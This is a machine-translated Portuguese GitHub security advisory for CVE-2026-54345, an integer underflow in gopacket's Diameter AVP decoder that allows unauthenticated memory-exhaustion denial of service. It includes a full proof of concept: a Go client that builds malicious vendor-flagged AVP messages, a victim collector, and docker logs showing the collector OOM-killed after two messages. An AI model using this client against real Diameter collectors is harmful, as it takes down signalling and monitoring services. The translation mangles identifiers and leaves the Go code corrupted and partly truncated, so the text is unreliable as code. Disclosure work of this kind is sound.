O decodificador de diâmetro AVP no `github.com/gopacket/gopacket` calcula `dataLongth:= avp.Longth - uint 32 (headerSize)` sem garantir primeiro `avp.Longura >= headerSize`. Quando a bandeira do Vendedor estiver definida, `headerSize` será 12, mas a única proteção de comprimento a montante rejeita ` avp.Longth CWE- 770 alocação não delimitada). ## Causa raíz (ficheiro: linha @ v 1.6.0 ). `camas/diametro_avp_decoders.go`, `decodeDiameterAVP`: ``` go avp.Longth = uint 32 (dados[ 5 ])<< 16 UUnt 32 (dados[ 6 ])<< 8 UUnt 32 (dados[ 7 ]) // 24 - valor do fio de bit se avp.Longth < 8 { // só rejeita < 8 devolver o DiâmetroAVP{}, 0, fmt.Errorf("comprimento AVP inválido:%d", avp.Longth)} Tamanho de cabeçalho:= 8 DataOffset:= 8 se avp.Flags.Vendor { // bandeira do fornecedor = dados de bits de fio[ 4 ] & 0 x 80 se len( data) = 8 foi verificado dadosOffset = 12 }.
Length acolchoado:= avp. Length // é igual a avp. Length; para avp. Length <= 12 se avp.Longth% 4!= 0 { acolchoado Longuidade = avp. Longueur + ( 4 - avp.Longth% 4 ) } se for usado 32 (len( data)) < paddledLongth { // só requer ~ 12 bytes apresentam retorno DiametroAVP{}, 0, fmt.Errorf("dados AVP truncados:...") } dataLongth:= avp.Longth - uint 32 (tamanho de cabeçalho) // 8 - 12 = uint 32 subfluxo = 4294967292 avp.Data = make([]byte, dataLongth) // make([]byte, ~ 4.29 e 9 ) ~= 4 Copia do GiB(avp.Data, dados[dataOffset:dataOffset+int(dataLongth)]) // fora de limites fatia -> pânico ``` Para ` avp.Length` em ` { 8, 9, 10, 11 }` com a bandeira do Vendedor definida: o ` avp. Longhth < 8 ` passes de guarda, `plunge acolchoada == avp.Longe ` assim só `plenge ' bytes `avp.Longe ' deve estar presente, e `dataLonge = avp.Longueza - 12 ` subflui o ` uint 32 `. O tamanho da alocação é determinado inteiramente pelo atacante-fornecido 3 -byte Comprimento de campo mais um único bit de bandeira. O `make` executa- se antes da `copia`, por isso a alocação de multi- gigabyte é solicitada independentemente de a cópia entrar em pânico mais tarde. ## Reachability (agressor remoto -> afundar). 'LayerTypeDiameter' é um decodificador registrado (` layertypes.go: 159 `, ` RegisterLayerType( 154,... decodificar o diâmetro)`): ` decodeDiameter` -> `(*Diameter).Decode FromBytes` (diameter.go: 118 ) -> analisa o 20 -byte header -> `avpData:= dados[ 20:d.Longura do Message]` -> Loop AVP `decodeDiameterAVP(avpData)` (diameter.go: 158 ) -> afundar em `diameter_avp_decoders.go: 57 `.
Diâmetro (RFC) 6733 ) é um protocolo base TCP/ SCTP usado para AAA e Telecom/ 5 G sinalização. Qualquer serviço que analisa o Diâmetro com gopacket (colectores de pacotes, monitores de sinalização, ferramentas IDS/análise) processa mensagens de diâmetro enviadas por atacante ou atacante sem nenhuma autenticação envolvida, para que qualquer hospedeiro capaz de entregar uma mensagem para o analisador chegue ao lavatório. O mesmo caminho é alcançado através de `gopacket.NewPacket(datas, LayerTypeDiameter,...)`. A camada de Diâmetro é específica para este garfo de gopacket (o original do google/ gopacket não tem camada de Diâmetro), por isso não há correção de irmãos a montante. Negação de serviço remota não autenticada por meio de exaustão de memória. Cada malicioso 32 -byte A mensagem de diâmetro solicita um ~ 4 Alocação do GiB (amplificação ~ 1.34 e 8 x sobre a entrada). Não há corrupção de memória e não há execução de código -- o impacto é a terminação do processo / exaustão de recursos. Severidade avaliada como Médio (DoS remoto não autenticado, nenhuma violação da segurança da memória). Nota sobre o comportamento do consumidor (medido de ponta a ponta contra um coletor implantado, veja PoC): - Um coletor usando a API de 'gopacket.NewPacket' de recuperação (..., gopacket.Default)` sobrevive a uma mensagem maliciosa * única*: o ~ 4 O GiB `make([]byte, dataLength)` é executado (em processo `duração.MemStats` mostra um 4096 MB `TotalAlloc` delta por mensagem), mas o ` copy` entra em pânico imediatamente-se após o "copiar` antes que o allocador falhas no 4 O GiB de páginas físicas, o pânico é recuperado em um `ErrorLayer`, e a reserva é recuperada pelo GC. Portanto, o RSS não se compromete em uma única mensagem. - **Duas mensagens maliciosas em sucessão de forma confiável OOM-matar o coletor** sob um 256 Cap MB: a segunda página física `make` comete antes da primeira reserva ser devolvida completamente ao cgroup, e o killer do cgroup do kernel OOM termina o processo (`OOMKiled=true`, saia 137 ). Isto foi reproduzido com duas mensagens enviadas estritamente em série para o loop de aceitação de uma única linha (não é necessária concorrencia). - Os consumidores que chamam diretamente "Decode FromBytes" (comum em coletores sensíveis ao desempenho) ou configuram "SkipDecodeRecovery: true` adicionalmente obter um pânico/ colapso não capturado na primeira mensagem. Em todos os casos, o defeito subjacente é o mesmo não delimitado ~ 4 Alocação do GiB conduzida por um campo controlado pelo atacante; a única variável é quantas mensagens é necessária para exaustar um determinado limite de memória.
Este PoC é um teste de ponta a ponta contra um verdadeiro coletor de diâmetros implantado. Um coletor TCP mínimo mas realista (construído na API de gopacket público) é executado dentro de uma cápsula dura 256 Contêiner MB; um processo de cliente independente envia mensagens de Diâmetro maliciosas sobre uma tomada TCP real; o processo de coleta é então observado morrer. Uma mensagem benigna é usada como um controle negativo. Os pins do arnês `github.com/gopacket/gopacket@v 1.6.0 ` (o pia é confirmado no v 1.6.0 tag, `caixas/diametro_avp_decoders.go: 56 - 58 `). ### Coletor (real coletor de diâmetro TCP). `` `go // colector.go — aceita uma conexão TCP, lê uma mensagem de Diâmetro (enquadrada pelo // o 24 - bit Mensagem Comprimento no cabeçalho base), constrói um gopacket.Packet enraizado // no LayerTypeDiámetro e acessa a camada, que movimenta o decodificador de diâmetros registrado sobre os bytes controlados pelo atacante. pacote principal Importação ( "fmt" "io" "net" "os". "github.com/gopacket/gopacket" "github.com/gopacket/gopacket/camas" ) func readingDiametroMessage(conn net.Conn) ([]byte, erro) { hdr:= make([]byte, 20 ) se _, err:= io.ReadFull(conn, hdr); err!= nul { retorno nulo, err } msgLen:= uint 32 (hdr[ 1 ])<< 16 UUnt 32 (hdr[ 2 ])<< 8 UUnt 32 (hdr[ 3 ]) se msgLen < 20 { devolve hdr, nulo } full:= make([]byte, msgLen) copy(full, hdr) se _, err:= io.ReadFull(conn, full[ 20:]); err!= nulo { devolver nulo, erro } devolver completo, nulo } func main() {In, err:= net.Escuta("tcp", " 0.0.0.0: 3868 ") se err!= nul { fmt.Fprintf(os.Stderr, "escute o erro:%v\n", err) os.Exit( 1 ) } defer Ln.Fechar() fmt.Printf("[colector] Diâmetro de escuta no tcp%s\n", Ln.Addr() para { conn, err:= Ln.Accept() se err!= nil { continuar } func() { defer conn.Fechar() dados, err:= lerDiametroMessage(conn) se errr!= nil { devolver } fmt.Printf("[coletor] recebeu%d-byte Diâmetro mensagem de%s\n", lend(dados), dn.RemoteAddr() pkt:= gopacket.NewPacket(dados, camadas.LayerTypeDiametro, gopacket.Default) se d, ok: pkt.Layer(caixas.LayerTypeDiametro).
### Cliente (processo independente, socket TCP real, sem dependência de gopacket). O cliente faz um trabalho 20 -byte Diâmetro cabeçalho base seguido por um fornecedor AVP cujo 24 - bit Longueur é `avpLen`. Com a bandeira do Vendedor definida, o 'headerSize' do decoder torna-se 12; para ` avpLen` em ` { 8,9,10,11 }` o ` dataLength = avpLen - 12 ` subtração de fluxos de subtração. Para o caso benigno `avpLen >= 12 ` assim o AVP carrega ` avpLen- 12 ` bytes e pars reais limpo. `` `go // client.go — uso: cliente [--benign] pacote principal. importação ( "encoding/binary" "fmt" "net" "os" "strconv" "time" ) func ser 32 (v uint 32 ) []byte { b:= make([]byte, 4 ); binário.BigEndian.PutUint 32 (b, v); retorna b } Func craft(avpLen uint 32, bool benigno) []byte { avp:= []byte{} avp = apend(avp, be 32 ( 1 )...) // AVP Código = 1 avp = apêndice(avp, 0 x 80 ) // Marcadores: Set de bits do fornecedor -> headerSize torna-se 12 avp = apend(avp, byte(avpLen>> 16 ), byte(avpLen>> 8 ), byte(avpLen)) // 24 - bit Longueur avp = apend(avp, be 32 ( 0 )...) // VendorID se benigno { dataLen:= int(avpLen) - 12 se dataLen > 16 ) hdr[ 2 ] = byte( msgLen >> 8 ) hdr[ 3 ] = byte( msgLen) hdr[ 4 ] = 0 x 80 // Bandeiras de comando: Solicitar hdr[ 5 ], hdr[ 6 ], hdr[ 7 ] = 0 x 00, 0 x 01, 0 x 01 // Codigo de Comandos 257 retorna o apêndice( hdr, avp...) } func main() { addr:= os.Args[ 1 ] avpLen, _:= strconv.ParseUint(os.Args[ 2 ], 10, 32 ) benigno:= len(os.Args) > 3 & & os.Args[ 3 ] == Dados "--benign":= craft(uint 32 (avpLen), benigno) conn, err:= net.Dial("tcp", addr) se err!= nil { fmt.Fprintf(os.Stderr, "erro dial:%v\n", err) os.Exit( 1 ) } def conn.Fechar() conn.Write(data) fmt.Printf("[cliente] enviado mensagem de diâmetro%d-byte (avpLen=%d, vendedor, benigno=%v)\n", len(data), avpLen, benigno) buf:= make([]byte, 1 ) conn.SetReadDeadline(time.Now().Adicionar( 3 * tempo.Segundo)) conn.Ler(buf) } ```.
### Executar e observar o resultado. O coletor corre sob um duro 256 Cap de MB cgroup com swap desativado (`--memory= 256 m --memória- swap= 256 m`) assim o OOM está contido no cgroup e o host não está afetado. Controle negativo (mensagem benign, fornecedor AVP ` Longitude= 16 `, ` DataLength= 4 `): ``` $ docker run -- rm -- network diam-net diam-client-e 2 e diam- e 2 e: 3868 16 --benign [cliente] enviado 36 -byte Diâmetro da mensagem (avpLen= 16, fornecedor, benigno=verdadeiro) # log do coletor: [coletor] recebido 36 -byte Diâmetro mensagem de 172.19.0.3: 53216 [collector] diâmetro decodificado: versão= 1 cmd= 257 msgLen= 36 avps= 1 # status do coletor: executando (VIVIR); RSS plana em 1.5 MiB ```.
Mensagem de ataque # 1 (malicious, fornecedor AVP ` Longitude= 8 ` -> ` 8 - 12 ` subfluxo -> ~ 4 Marca GiB: ``` $ docker run -- rm -- network diam-net diam-client-e 2 e diam- e 2 e: 3868 8 [cliente] este AVP torna dados de extensão = 8 - 12 = 4294967292 (int 32 subfluxo) -> make([]byte, 4294967292 ) ~= 4.00 Mensagem do GiB [cliente] enviada através do socket TCP real # log do coletor: [coletor] recebido 32 -byte Diâmetro mensagem de 172.19.0.3: 53230 [collector] nenhuma camada de Diâmetro descodificada # status do coletor após # 1: executando (o único ~ 4 O GiB entra em pânico na cópia subsequente de # fora de limites e é recuperado antes de commit páginas físicas); # RSS 6.5 MiB ``` Mensagem de ataque # 2 (mesma mensagem maliciosa novamente). ``` $ docker run -- rm -- network diam-net diam-client-e 2 e diam- e 2 e: 3868 8 [cliente] este AVP torna dados de extensão = 8 - 12 = 4294967292 (int 32 subfluxo) -> make([]byte, 4294967292 ) ~= 4.00 Mensagem do GiB [cliente] enviada através do socket TCP real.
# estado final do recipiente: Status=exited OOMKilled=verdadeiro código de saída= 137 ```. Dois maliciosos 32 -byte Diâmetro mensagens, entregues através de um socket TCP real para um coletor baseado em gopacket real, terminam o processo de colecionador: o núcleo cgroup OOM-killer fogos (`OOMKiled=true`, saia 137 ). Uma única mensagem é recuperada pela API de decodificação padrão e o processo sobrevive, mas o segundo `make([]byte, 4294967292 )` commit antes da primeira reserva ser recuperada e esgota o 256 Limiar de MB. Isto foi reproduzido com as duas mensagens enviadas estritamente em série (sem concorrença). O controle benigno do mesmo coletor decodifica limpo e o processo permanece vivo com o RSS plano, confirmando o fluxo de comprimento do AVP controlado pelo atacante é o que controla a alocação. A medição em processo confirma a alocação por mensagem: alimentar o mesmo 32 -byte mensagem através de `gopacket.NewPacket(..., gopacket.Default)` mostra um `durante.MemStats` `TotalAlloc` delta de 4096 MB, ou seja, o ` make([]byte, 4294967292 )` executa genuinamente em cada mensagem antes do pânico da cópia. O hospedeiro não é afetado em todo o tempo: a alocação é contida pelo 256 MB cgroup cap (sem troca), e o swap host ficou acima 900 MB livre através da corrida. `github.com/gopacket/gopacket` <= v 1.6.0 (v) 1.6.0 é a última versão; o pia está presente no v 1.6.0 tag). A camada de Diâmetro é específica para este módulo.
Após o final do `headerSize` (ou seja, após o ramo Vendor- flag), rejeitar qualquer AVP cujo comprimento declarado não pode cobrir o seu próprio cabeçalho, antes de computar `dataLength`: ``` vai se avp.Longth < uint 32 (tamanho de cabeçalho) { retorna o DiâmetroAVP{}, 0, fmt.Errorf("comprimento AVP inválido:%d, menor do que o tamanho do cabeçalho%d", avp.Longth, headerSize) } ``` Isto reflete o existente ` avp.Longth < 8 ` verificação mas contas para o 12 -byte fornecedor cabeçalho, eliminando o fluxo de subfluxo e tecendo a alocação no tamanho real dos dados. Com esta guarda, o `go test./layers' (suíte de 'diâmetro' de rodar ' () 9 teste) ainda passa e o fornecedor AVPs validado analisa inalterado. Registro de aconselhamento: GHSA- 6 r 28 - 9 ppf- 4 hj 5. Identificadores relacionados: CVE- 2026 - 54345.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 28 T 16: 14: 36.000 Z e lista a sua última modificação como 2026 - 07 - 28 T 16: 14: 36.000 Z. Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/África do Sul:N. Software afetado e informações de versão: Go pacote github.com/gopacket/gopacket — ECOSISTEM: introduzido 0, corrigido 1.6.1. Classificação e evidência: identificadores de fraqueza CWE- 191, CWE- 770. O registro contém 4 suporte de referências nestes tipos: WEB, PACKAGE.